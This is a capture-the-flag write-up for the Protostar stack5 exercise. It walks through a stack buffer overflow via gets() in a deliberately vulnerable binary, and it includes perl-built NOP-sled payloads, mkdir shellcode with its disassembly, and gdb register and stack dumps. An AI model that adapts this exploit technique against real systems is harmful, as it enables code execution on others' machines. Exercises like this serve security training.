Protostar exploits stack5

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/stack5

Exploit

Make the program spawn shellcode.

#include <stdlib.h>;
#include <unistd.h>;
#include <stdio.h>;
#include <string.h>;

int main(int argc, char **argv)
{
 char buffer[64];

 gets(buffer);
}

We can see the challenge will be to overflow the stack when gets() is called. We will need to include our shellcode and overwrite EIP to point to the start of the shellcode. We have two challenges, injecting the shellcode and determining the starting address of the shellcode.

First of we have to use the same trick from previous challenges and corrupt the memory stack and using stdin to overflow the variable “buffer” which gets filled using gets().

Let’s see if we can crash the program

user@protostar:~$ perl -e 'print "A"x76'|/opt/protostar/bin/stack5
Segmentation fault

It appears that our data of A’s (0x41) was able to cause a segfault at 76 bytes.

Now we need to decide what shellcode to use. I will use a Linux 32 bit shellcode that is 36 bytes long (more than adequate size). This shellcode can be obtained from http://shell-storm.org/shellcode/files/shellcode-542.php

The shellcode will create the directory “hacked”

/*
 * This shellcode will do a mkdir() of 'hacked' and then an exit()
 * Written by zillion@safemode.org
 *
 */

char shellcode[]=
 "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed"
 "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68"
 "\x61\x63\x6b\x65\x64\x23";

void main()
{
 int *ret;
 ret = (int *)&ret + 2;
 (*ret) = (int)shellcode;
}

Let’s double check that the shellcode doesn’t have any nasty surprises by running it through ndisasm.

$ echo -e "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" |ndisasm -b 32 -
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call dword 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64230A and ecx,[fs:edx]

We see a typical jmp call pop sequence for retrieving the string “hacked”=6861636B656423 at location 1D.

We have a syscall int 0x80 0x27 which is mkdir(). Search for x27 at http://syscalls.kernelgrok.com/

A second syscall for 0x1 which exit()

Everything looks kosher.

Let’s replace the A’s which caused the program to crash previously with nops=0x90 + shellcode + remaining A’s. Making sure that the exploit equals 76 bytes in total

user@protostar:~$ perl -e 'print "\x90"x(76-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "A"x4'>stack5_input.txt && gdb /opt/protostar/bin/stack5

GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) r < stack5_input.txt 
Starting program: /opt/protostar/bin/stack5 < stack5_input.txt

Program received signal SIGSEGV, Segmentation fault.

0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
) at libc-start.c:187
187 libc-start.c: No such file or directory.
 in libc-start.c
(gdb) i r
eax            0xbffff7bb -1073743941
ecx            0xbffff730 -1073744080
edx            0xb7fd9334 -1208118476
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff77c 0xbffff77c
ebp            0x41414141 0x41414141
esi            0x0 0
edi            0x0 0
eip            0xb7eadc03 0xb7eadc03 <__libc_start_main+115>
eflags         0x210286 [ PF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

We generated the payload using perl to print the output to a file and then we ran the program through gdb and read the payload file.

Something went wrong. We are expecting EIP to contain our 4 bytes of A’s but it does’t.

Let’s try again but this time increase the size of the buffer by 4 bytes (80 bytes).

user@protostar:~$ perl -e 'print "\x90"x(80-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "A"x4'>stack5_input.txt && gdb /opt/protostar/bin/stack5

GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) r < stack5_input.txt 
Starting program: /opt/protostar/bin/stack5 < stack5_input.txt

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0xbffff730 -1073744080
ecx            0xbffff730 -1073744080
edx            0xb7fd9334 -1208118476
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff780 0xbffff780
ebp            0x2364656b 0x2364656b
esi            0x0 0
edi            0x0 0
eip            0x41414141 0x41414141
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Wonderful, EIP contains 0x41414141

We need to replace 0x41414141 with the start of the shellcode memory location.

Let’s discover the memory location by printing out the stack

(gdb) x /90xb $esp-80
0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0xeb 0x16 0x5e 0x31 0xc0 0x88 0x46 0x06
0xbffff760: 0xb0 0x27 0x8d 0x1e 0x66 0xb9 0xed 0x01
0xbffff768: 0xcd 0x80 0xb0 0x01 0x31 0xdb 0xcd 0x80
0xbffff770: 0xe8 0xe5 0xff 0xff 0xff 0x68 0x61 0x63
0xbffff778: 0x6b 0x65 0x64 0x23 0x41 0x41 0x41 0x41
0xbffff780: 0x00 0x00 0x00 0x00 0x24 0xf8 0xff 0xbf
0xbffff788: 0x2c 0xf8

Looks like the nops start at memory location 0xbffff730

Let’s try again but this time replacing the A’s with 0xbffff730 in reverse byte order 0x30f7ffbf

user@protostar:~$ perl -e 'print "\x90"x(80-36-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x30\xf7\xff\xbf"'>stack5_input.txt && gdb /opt/protostar/bin/stack5

GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) r < stack5_input.txt 
Starting program: /opt/protostar/bin/stack5 < stack5_input.txt

Program exited normally.

Looks good.

Check that we have a new directory named “hacked” exists

user@protostar:~$ ls -la

drwxr-xr-x 2 user user   40 Jun 29 00:13 hacked
-rw-r--r-- 1 user user   80 Jun 29 00:12 stack5_input.txt

Thank you